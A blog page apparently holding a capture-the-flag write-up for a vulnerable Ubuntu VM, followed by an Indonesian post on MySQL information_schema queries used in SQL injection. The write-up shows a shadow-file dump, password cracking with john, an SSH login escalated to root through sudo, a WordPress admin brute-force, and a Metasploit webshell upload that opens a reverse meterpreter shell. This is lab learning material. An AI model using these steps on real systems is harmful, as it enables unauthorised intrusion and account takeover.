daemon:*:17379:0:99999:7:::
bin:*:17379:0:99999:7:::
sys:*:17379:0:99999:7:::
sync:*:17379:0:99999:7:::
games:*:17379:0:99999:7:::
man:*:17379:0:99999:7:::
lp:*:17379:0:99999:7:::
mail:*:17379:0:99999:7:::
news:*:17379:0:99999:7:::
uucp:*:17379:0:99999:7:::
proxy:*:17379:0:99999:7:::
www-data:*:17379:0:99999:7:::
backup:*:17379:0:99999:7:::
list:*:17379:0:99999:7:::
irc:*:17379:0:99999:7:::
gnats:*:17379:0:99999:7:::
nobody:*:17379:0:99999:7:::
systemd-timesync:*:17379:0:99999:7:::
systemd-network:*:17379:0:99999:7:::
systemd-resolve:*:17379:0:99999:7:::
systemd-bus-proxy:*:17379:0:99999:7:::
syslog:*:17379:0:99999:7:::
_apt:*:17379:0:99999:7:::
messagebus:*:17379:0:99999:7:::
uuidd:*:17379:0:99999:7:::
lightdm:*:17379:0:99999:7:::
whoopsie:*:17379:0:99999:7:::
avahi-autoipd:*:17379:0:99999:7:::
avahi:*:17379:0:99999:7:::
dnsmasq:*:17379:0:99999:7:::
colord:*:17379:0:99999:7:::
speech-dispatcher:!:17379:0:99999:7:::
hplip:*:17379:0:99999:7:::
kernoops:*:17379:0:99999:7:::
pulse:*:17379:0:99999:7:::
rtkit:*:17379:0:99999:7:::
saned:*:17379:0:99999:7:::
usbmux:*:17379:0:99999:7:::
marlinspike:$6$wQb5nV3T$xB2WO/jOkbn4t1RUILrckw69LR/0EMtUbFFCYpM3MUHVmtyYW9.ov/aszTpWhLaC2x6Fvy5tpUUxQbUhCKbl4/:17484:0:99999:7:::
mysql:!:17486:0:99999:7:::
sshd:*:17486:0:99999:7:::

root@sempur:~# unshadow passwd shadow > p.txt
root@sempur:~# john p.txt
Warning: detected hash type "sha512crypt", but the string is also recognized as "crypt"
Use the "--format=crypt" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 1 password hash (sha512crypt, crypt(3) $6$ [SHA512 128/128 AVX 2x])
Press 'q' or Ctrl-C to abort, almost any other key for status
marlinspike      (marlinspike)
1g 0:00:00:00 DONE 1/3 (2018-02-21 11:34) 11.11g/s 88.88p/s 88.88c/s 88.88C/s marlinspike..marlinspikes
Use the "--show" option to display all of the cracked passwords reliably
Session completed

root@sempur:~# john --show p.txt
marlinspike:marlinspike:1000:1000:marlinspike,,,:/home/marlinspike:/bin/bash

1 password hash cracked, 0 left
As you can see, john got password for marlinspike user. So, I try to login via SSH by using marlinspike as username and password. Apparently, user marlinspike is sudoers member.
root@sempur:~# ssh marlinspike@192.168.40.100
marlinspike@192.168.40.100's password: 
Welcome to Ubuntu 16.04.3 LTS (GNU/Linux 4.10.0-28-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

19 packages can be updated.
19 updates are security updates.

Last login: Mon Feb 12 06:50:26 2018 from 192.168.40.101
marlinspike@vtcsec:~$ whoami
marlinspike
marlinspike@vtcsec:~$ sudo su
[sudo] password for marlinspike: 
root@vtcsec:/home/marlinspike# whoami
root
root@vtcsec:/home/marlinspike# 

Exploring HTTP Service

I try to bruteforce directory using dirb and I got that website made by wordpress on directory secret.
*You need add local DNS in file /etc/hosts
127.0.0.1            localhost
192.168.40.100       vtcsec

root@sempur:~# dirb http://192.168.40.100/

-----------------
DIRB v2.22    
By The Dark Raver
-----------------

START_TIME: Wed Feb 21 09:51:10 2018
URL_BASE: http://192.168.40.100/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt

-----------------

GENERATED WORDS: 4612                                                          

---- Scanning URL: http://192.168.40.100/ ----
+ http://192.168.40.100/index.html (CODE:200|SIZE:177)                         
==> DIRECTORY: http://192.168.40.100/secret/                                   
+ http://192.168.40.100/server-status (CODE:403|SIZE:302)                      
                                                                               
---- Entering directory: http://192.168.40.100/secret/ ----
+ http://192.168.40.100/secret/index.php (CODE:301|SIZE:0)                     
==> DIRECTORY: http://192.168.40.100/secret/wp-admin/                          
==> DIRECTORY: http://192.168.40.100/secret/wp-content/                        
==> DIRECTORY: http://192.168.40.100/secret/wp-includes/                       
+ http://192.168.40.100/secret/xmlrpc.php (CODE:405|SIZE:42)                   
                                                                               
---- Entering directory: http://192.168.40.100/secret/wp-admin/ ----
+ http://192.168.40.100/secret/wp-admin/admin.php (CODE:302|SIZE:0)            
==> DIRECTORY: http://192.168.40.100/secret/wp-admin/css/                      
==> DIRECTORY: http://192.168.40.100/secret/wp-admin/images/                   
==> DIRECTORY: http://192.168.40.100/secret/wp-admin/includes/                 
+ http://192.168.40.100/secret/wp-admin/index.php (CODE:302|SIZE:0)            
==> DIRECTORY: http://192.168.40.100/secret/wp-admin/js/                       
==> DIRECTORY: http://192.168.40.100/secret/wp-admin/maint/                    
==> DIRECTORY: http://192.168.40.100/secret/wp-admin/network/                  
==> DIRECTORY: http://192.168.40.100/secret/wp-admin/user/                     
                                                                               
---- Entering directory: http://192.168.40.100/secret/wp-content/ ----
+ http://192.168.40.100/secret/wp-content/index.php (CODE:200|SIZE:0)          
==> DIRECTORY: http://192.168.40.100/secret/wp-content/plugins/                
==> DIRECTORY: http://192.168.40.100/secret/wp-content/themes/                 
                                                                               
---- Entering directory: http://192.168.40.100/secret/wp-includes/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.                        
    (Use mode '-w' if you want to scan it anyway)
                                                                               
---- Entering directory: http://192.168.40.100/secret/wp-admin/css/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.                        
    (Use mode '-w' if you want to scan it anyway)
                                                                               
---- Entering directory: http://192.168.40.100/secret/wp-admin/images/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.                        
    (Use mode '-w' if you want to scan it anyway)
                                                                               
---- Entering directory: http://192.168.40.100/secret/wp-admin/includes/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.                        
    (Use mode '-w' if you want to scan it anyway)
                                                                               
---- Entering directory: http://192.168.40.100/secret/wp-admin/js/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.                        
    (Use mode '-w' if you want to scan it anyway)
                                                                               
---- Entering directory: http://192.168.40.100/secret/wp-admin/maint/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.                        
    (Use mode '-w' if you want to scan it anyway)
                                                                               
---- Entering directory: http://192.168.40.100/secret/wp-admin/network/ ----
+ http://192.168.40.100/secret/wp-admin/network/admin.php (CODE:302|SIZE:0)    
+ http://192.168.40.100/secret/wp-admin/network/index.php (CODE:302|SIZE:0)    
                                                                               
---- Entering directory: http://192.168.40.100/secret/wp-admin/user/ ----
+ http://192.168.40.100/secret/wp-admin/user/admin.php (CODE:302|SIZE:0)       
+ http://192.168.40.100/secret/wp-admin/user/index.php (CODE:302|SIZE:0)       
                                                                               
---- Entering directory: http://192.168.40.100/secret/wp-content/plugins/ ----
+ http://192.168.40.100/secret/wp-content/plugins/index.php (CODE:200|SIZE:0)  
                                                                               
---- Entering directory: http://192.168.40.100/secret/wp-content/themes/ ----
+ http://192.168.40.100/secret/wp-content/themes/index.php (CODE:200|SIZE:0)   
                                                                               
-----------------
END_TIME: Wed Feb 21 09:51:33 2018
DOWNLOADED: 36896 - FOUND: 13

Next, I use wpscan to find more information about this website.
root@sempur:~# wpscan --url http://vtcsec/secret/ --enumerate u
_______________________________________________________________
        __          _______   _____                  
        \ \        / /  __ \ / ____|                 
         \ \  /\  / /| |__) | (___   ___  __ _ _ __ ®
          \ \/  \/ / |  ___/ \___ \ / __|/ _` | '_ \ 
           \  /\  /  | |     ____) | (__| (_| | | | |
            \/  \/   |_|    |_____/ \___|\__,_|_| |_|

        WordPress Security Scanner by the WPScan Team 
                       Version 2.9.3
          Sponsored by Sucuri - https://sucuri.net
   @_WPScan_, @ethicalhack3r, @erwan_lr, pvdl, @_FireFart_
_______________________________________________________________

[+] URL: http://vtcsec/secret/
[+] Started: Thu Feb 22 16:09:38 2018

[!] The WordPress 'http://vtcsec/secret/readme.html' file exists exposing a version number
[+] Interesting header: LINK: ; rel="https://api.w.org/"
[+] Interesting header: SERVER: Apache/2.4.18 (Ubuntu)
[+] XML-RPC Interface available under: http://vtcsec/secret/xmlrpc.php
[!] Upload directory has directory listing enabled: http://vtcsec/secret/wp-content/uploads/
[!] Includes directory has directory listing enabled: http://vtcsec/secret/wp-includes/

[+] WordPress version 4.9 (Released on 2017-11-15) identified from advanced fingerprinting, meta generator, links opml, stylesheets numbers
[!] 6 vulnerabilities identified from the version number

[!] Title: WordPress 2.8.6-4.9 - Authenticated JavaScript File Upload
    Reference: https://wpvulndb.com/vulnerabilities/8966
    Reference: https://wordpress.org/news/2017/11/wordpress-4-9-1-security-and-maintenance-release/
    Reference: https://github.com/WordPress/WordPress/commit/67d03a98c2cae5f41843c897f206adde299b0509
    Reference: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-17092
[i] Fixed in: 4.9.1

[!] Title: WordPress 1.5.0-4.9 - RSS and Atom Feed Escaping
    Reference: https://wpvulndb.com/vulnerabilities/8967
    Reference: https://wordpress.org/news/2017/11/wordpress-4-9-1-security-and-maintenance-release/
    Reference: https://github.com/WordPress/WordPress/commit/f1de7e42df29395c3314bf85bff3d1f4f90541de
    Reference: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-17094
[i] Fixed in: 4.9.1

[!] Title: WordPress 4.3.0-4.9 - HTML Language Attribute Escaping
    Reference: https://wpvulndb.com/vulnerabilities/8968
    Reference: https://wordpress.org/news/2017/11/wordpress-4-9-1-security-and-maintenance-release/
    Reference: https://github.com/WordPress/WordPress/commit/3713ac5ebc90fb2011e98dfd691420f43da6c09a
    Reference: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-17093
[i] Fixed in: 4.9.1

[!] Title: WordPress 3.7-4.9 - 'newbloguser' Key Weak Hashing
    Reference: https://wpvulndb.com/vulnerabilities/8969
    Reference: https://wordpress.org/news/2017/11/wordpress-4-9-1-security-and-maintenance-release/
    Reference: https://github.com/WordPress/WordPress/commit/eaf1cfdc1fe0bdffabd8d879c591b864d833326c
    Reference: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-17091
[i] Fixed in: 4.9.1

[!] Title: WordPress 3.7-4.9.1 - MediaElement Cross-Site Scripting (XSS)
    Reference: https://wpvulndb.com/vulnerabilities/9006
    Reference: https://github.com/WordPress/WordPress/commit/3fe9cb61ee71fcfadb5e002399296fcc1198d850
    Reference: https://wordpress.org/news/2018/01/wordpress-4-9-2-security-and-maintenance-release/
    Reference: https://core.trac.wordpress.org/ticket/42720
    Reference: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-5776
[i] Fixed in: 4.9.2

[!] Title: WordPress <= 4.9.4 - Application Denial of Service (DoS) (unpatched)
    Reference: https://wpvulndb.com/vulnerabilities/9021
    Reference: https://baraktawily.blogspot.fr/2018/02/how-to-dos-29-of-world-wide-websites.html
    Reference: https://github.com/quitten/doser.py
    Reference: https://thehackernews.com/2018/02/wordpress-dos-exploit.html
    Reference: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-6389

[+] WordPress theme in use: twentyseventeen - v1.4

[+] Name: twentyseventeen - v1.4
 |  Latest version: 1.4 (up to date)
 |  Last updated: 2017-11-16T00:00:00.000Z
 |  Location: http://vtcsec/secret/wp-content/themes/twentyseventeen/
 |  Readme: http://vtcsec/secret/wp-content/themes/twentyseventeen/README.txt
 |  Style URL: http://vtcsec/secret/wp-content/themes/twentyseventeen/style.css
 |  Theme Name: Twenty Seventeen
 |  Theme URI: https://wordpress.org/themes/twentyseventeen/
 |  Description: Twenty Seventeen brings your site to life with header video and immersive featured images. With a...
 |  Author: the WordPress team
 |  Author URI: https://wordpress.org/

[+] Enumerating plugins from passive detection ...
[+] No plugins found

[+] Enumerating usernames ...
[+] Identified the following 1 user/s:
    +----+-------+-------------------+
    | Id | Login | Name              |
    +----+-------+-------------------+
    | 1  | admin | admin – My secret |
    +----+-------+-------------------+
[!] Default first WordPress username 'admin' is still used

[+] Finished: Thu Feb 22 16:09:44 2018
[+] Requests Done: 103
[+] Memory used: 39.34 MB
[+] Elapsed time: 00:00:06
I got username, admin. So, I try to guess password 'admin', then I can log in to admin panel. Or, If you want using tool to bruteforce password, you can use wpscan to get password.
root@sempur:~# wpscan --url http://vtcsec/secret/ --username admin --wordlist /usr/share/wordlists/fasttrack.txt 
_______________________________________________________________
        __          _______   _____                  
        \ \        / /  __ \ / ____|                 
         \ \  /\  / /| |__) | (___   ___  __ _ _ __ ®
          \ \/  \/ / |  ___/ \___ \ / __|/ _` | '_ \ 
           \  /\  /  | |     ____) | (__| (_| | | | |
            \/  \/   |_|    |_____/ \___|\__,_|_| |_|

        WordPress Security Scanner by the WPScan Team 
                       Version 2.9.3
          Sponsored by Sucuri - https://sucuri.net
   @_WPScan_, @ethicalhack3r, @erwan_lr, pvdl, @_FireFart_
_______________________________________________________________

[+] URL: http://vtcsec/secret/
[+] Started: Thu Feb 22 16:35:23 2018

[!] The WordPress 'http://vtcsec/secret/readme.html' file exists exposing a version number
[+] Interesting header: LINK: ; rel="https://api.w.org/"
[+] Interesting header: SERVER: Apache/2.4.18 (Ubuntu)
[+] XML-RPC Interface available under: http://vtcsec/secret/xmlrpc.php
[!] Upload directory has directory listing enabled: http://vtcsec/secret/wp-content/uploads/
[!] Includes directory has directory listing enabled: http://vtcsec/secret/wp-includes/

[+] WordPress version 4.9 (Released on 2017-11-15) identified from advanced fingerprinting, meta generator, links opml, stylesheets numbers
[!] 6 vulnerabilities identified from the version number

[!] Title: WordPress 2.8.6-4.9 - Authenticated JavaScript File Upload
    Reference: https://wpvulndb.com/vulnerabilities/8966
    Reference: https://wordpress.org/news/2017/11/wordpress-4-9-1-security-and-maintenance-release/
    Reference: https://github.com/WordPress/WordPress/commit/67d03a98c2cae5f41843c897f206adde299b0509
    Reference: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-17092
[i] Fixed in: 4.9.1

[!] Title: WordPress 1.5.0-4.9 - RSS and Atom Feed Escaping
    Reference: https://wpvulndb.com/vulnerabilities/8967
    Reference: https://wordpress.org/news/2017/11/wordpress-4-9-1-security-and-maintenance-release/
    Reference: https://github.com/WordPress/WordPress/commit/f1de7e42df29395c3314bf85bff3d1f4f90541de
    Reference: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-17094
[i] Fixed in: 4.9.1

[!] Title: WordPress 4.3.0-4.9 - HTML Language Attribute Escaping
    Reference: https://wpvulndb.com/vulnerabilities/8968
    Reference: https://wordpress.org/news/2017/11/wordpress-4-9-1-security-and-maintenance-release/
    Reference: https://github.com/WordPress/WordPress/commit/3713ac5ebc90fb2011e98dfd691420f43da6c09a
    Reference: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-17093
[i] Fixed in: 4.9.1

[!] Title: WordPress 3.7-4.9 - 'newbloguser' Key Weak Hashing
    Reference: https://wpvulndb.com/vulnerabilities/8969
    Reference: https://wordpress.org/news/2017/11/wordpress-4-9-1-security-and-maintenance-release/
    Reference: https://github.com/WordPress/WordPress/commit/eaf1cfdc1fe0bdffabd8d879c591b864d833326c
    Reference: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-17091
[i] Fixed in: 4.9.1

[!] Title: WordPress 3.7-4.9.1 - MediaElement Cross-Site Scripting (XSS)
    Reference: https://wpvulndb.com/vulnerabilities/9006
    Reference: https://github.com/WordPress/WordPress/commit/3fe9cb61ee71fcfadb5e002399296fcc1198d850
    Reference: https://wordpress.org/news/2018/01/wordpress-4-9-2-security-and-maintenance-release/
    Reference: https://core.trac.wordpress.org/ticket/42720
    Reference: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-5776
[i] Fixed in: 4.9.2

[!] Title: WordPress <= 4.9.4 - Application Denial of Service (DoS) (unpatched)
    Reference: https://wpvulndb.com/vulnerabilities/9021
    Reference: https://baraktawily.blogspot.fr/2018/02/how-to-dos-29-of-world-wide-websites.html
    Reference: https://github.com/quitten/doser.py
    Reference: https://thehackernews.com/2018/02/wordpress-dos-exploit.html
    Reference: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-6389

[+] WordPress theme in use: twentyseventeen - v1.4

[+] Name: twentyseventeen - v1.4
 |  Latest version: 1.4 (up to date)
 |  Last updated: 2017-11-16T00:00:00.000Z
 |  Location: http://vtcsec/secret/wp-content/themes/twentyseventeen/
 |  Readme: http://vtcsec/secret/wp-content/themes/twentyseventeen/README.txt
 |  Style URL: http://vtcsec/secret/wp-content/themes/twentyseventeen/style.css
 |  Theme Name: Twenty Seventeen
 |  Theme URI: https://wordpress.org/themes/twentyseventeen/
 |  Description: Twenty Seventeen brings your site to life with header video and immersive featured images. With a...
 |  Author: the WordPress team
 |  Author URI: https://wordpress.org/

[+] Enumerating plugins from passive detection ...
[+] No plugins found
[+] Starting the password brute forcer
  [+] [SUCCESS] Login : admin Password : admin                                  

  Brute Forcing 'admin' Time: 00:00:02 <==   > (130 / 223) 58.29%  ETA: 00:00:02
  +----+-------+------+----------+
  | Id | Login | Name | Password |
  +----+-------+------+----------+
  |    | admin |      | admin    |
  +----+-------+------+----------+

[+] Finished: Thu Feb 22 16:35:30 2018
[+] Requests Done: 225
[+] Memory used: 37.777 MB
[+] Elapsed time: 00:00:06

Get The Shell

After i got username and password, i need to get shell from this way. I use metasploit to upload the backdoor, and access the shell from msfconsole.

https://www.rapid7.com/db/modules/exploit/unix/webapp/wp_admin_shell_upload

root@sempur:~# msfconsole
                                                  
 _                                                    _
/ \    /\         __                         _   __  /_/ __
| |\  / | _____   \ \           ___   _____ | | /  \ _   \ \
| | \/| | | ___\ |- -|   /\    / __\ | -__/ | || | || | |- -|
|_|   | | | _|__  | |_  / -\ __\ \   | |    | | \__/| |  | |_
      |/  |____/  \___\/ /\ \\___/   \/     \__|    |_\  \___\


       =[ metasploit v4.16.15-dev                         ]
+ -- --=[ 1699 exploits - 968 auxiliary - 299 post        ]
+ -- --=[ 503 payloads - 40 encoders - 10 nops            ]
+ -- --=[ Free Metasploit Pro trial: http://r-7.co/trymsp ]

msf > use exploit/unix/webapp/wp_admin_shell_upload 
msf exploit(wp_admin_shell_upload) > set username admin
username => admin
msf exploit(wp_admin_shell_upload) > set password admin
password => admin
msf exploit(wp_admin_shell_upload) > set rhost vtcsec
rhost => vtcsec
msf exploit(wp_admin_shell_upload) > set targeturi /secret
targeturi => /secret
msf exploit(wp_admin_shell_upload) > show options
msf exploit(wp_admin_shell_upload) > exploit

[*] Started reverse TCP handler on 192.168.40.101:4444 
[*] Authenticating with WordPress using admin:admin...
[+] Authenticated with WordPress
[*] Preparing payload...
[*] Uploading payload...
[*] Executing the payload at /secret/wp-content/plugins/fVdnYcKEGU/nrdKKXzecZ.php...
[*] Sending stage (37543 bytes) to 192.168.40.100
[*] Meterpreter session 1 opened (192.168.40.101:4444 -> 192.168.40.100:45522) at 2018-02-22 15:15:44 +0700
[+] Deleted nrdKKXzecZ.php
[+] Deleted fVdnYcKEGU.php

meterpreter > sysinfo
Computer    : vtcsec
OS          : Linux vtcsec 4.10.0-28-generic #32~16.04.2-Ubuntu SMP Thu Jul 20 10:19:48 UTC 2017 x86_64
Meterpreter : php/linux
meterpreter > shell 
whoami
www-data

Finally, i got shell from metasploit, but the user still www-data, if you want get root permission, you need escalate the privilege. Exploiting the FTP server is the best way to get root access (in my opinion).



5 λ .: 2018 This is my write up how to pwn this box, if you have another solution, please comment below. You can download the box on this link https:/...

Monday 12 February 2018

Information Schema, Apa dan Kenapa?

Bagi sebagian orang mungkin sudah mengenal information schema, sebuah database yang ada pada MySQL. Sementara, sebagian orang lain seperti saya, ga tau apa itu information schema, dan apa kegunaannya untuk kita?. SQL Injection, meski teknik ini sudah lama ada, namun sampai saat ini masih banyak ditemukan celah melalui SQL injection. SQLMap salah satu tool yang populer untuk menjalankan SQL injection, mempermudah orang untuk melakukannya. Akan tetapi, menggunakan tool seperti ini, terkadang membuat orang malas untuk mengetahui, bagaimana SQL injection bekerja?. Maka dari itu, di artikel kali ini akan membahas tentang SQL Injection, terutama pada bagian Information Schema.

Sebelum melanjutkan, dapat membaca referensi dibawah ini:
Dari referensi diatas, terdapat cheatsheet SQL injection yang sering digunakan untuk MySQL.

SELECT schema_name FROM information_schema.schemata;
SELECT table_schema, table_name, column_name FROM information_schema.columns WHERE table_schema != ‘mysql’ AND table_schema != ‘information_schema’
SELECT table_schema,table_name FROM information_schema.tables WHERE table_schema != ‘mysql’ AND table_schema != ‘information_schema’
Dari beberapa query diatas, information_schema digunakan untuk melihat nama colum, nama database, dan nama table. Lalu apa sebenarnya isi dari information_schema?


INFORMATION_SCHEMA is a database within each MySQL instance, the place that stores information about all the other databases that the MySQL server maintains. The INFORMATION_SCHEMA database contains several read-only tables. They are actually views, not base tables, so there are no files associated with them, and you cannot set triggers on them. Also, there is no database directory with that name. 
INFORMATION_SCHEMA provides access to database metadata, information about the MySQL server such as the name of a database or table, the data type of a column, or access privileges. Other terms that are sometimes used for this information are data dictionary and system catalog. web resmi MySQL
Sudah cukup jelas dari penjelasan web resmi MySQL bahwa database information_schema berisi tentang database yang ada/telah dibuat di dalam MySQL, termasuk nama table dan field. Itulah mengapa disetiap cheatsheet yang ada di internet pasti menggunakan information_schema untuk mendapatkan informasi table dan field.

Mendapatkan semua nama database

SELECT schema_name FROM information_schema.schemata;

 
Field schema_name pada table schemata berisi nama database yang ada di dalam MySQL, baik yang dibuat sendiri maupun yang sudah ada secara default, seperti information_schema, dst. Jika dibandingkan, query diatas sama seperti 'show databases;' pada MySQL.


Mendapatkan table dan field

SELECT table_schema, table_name, column_name FROM information_schema.columns;
SELECT table_schema,table_name FROM information_schema.tables;

Ada 2 cara untuk mendapatkan nama table, dapat melalui table information_schema.tables, atau information_schema.columns. Perbedaannya adalah pada table information_schema.tables tidak terdapat nama column dari table yang ada. Sehingga penggunaannya disesuaikan dengan kebutuhan.

information_schema.tables

information_schema.columns





Query diatas berhasil menampilkan nama database, table, dan field, untuk mendapatkan hasil yang optimal, ditambahkan where clause untuk menyaring informasi yang diinginkan.


5 λ .: 2018 Bagi sebagian orang mungkin sudah mengenal information schema, sebuah database yang ada pada MySQL. Sementara, sebagian orang lain seperti ...
< >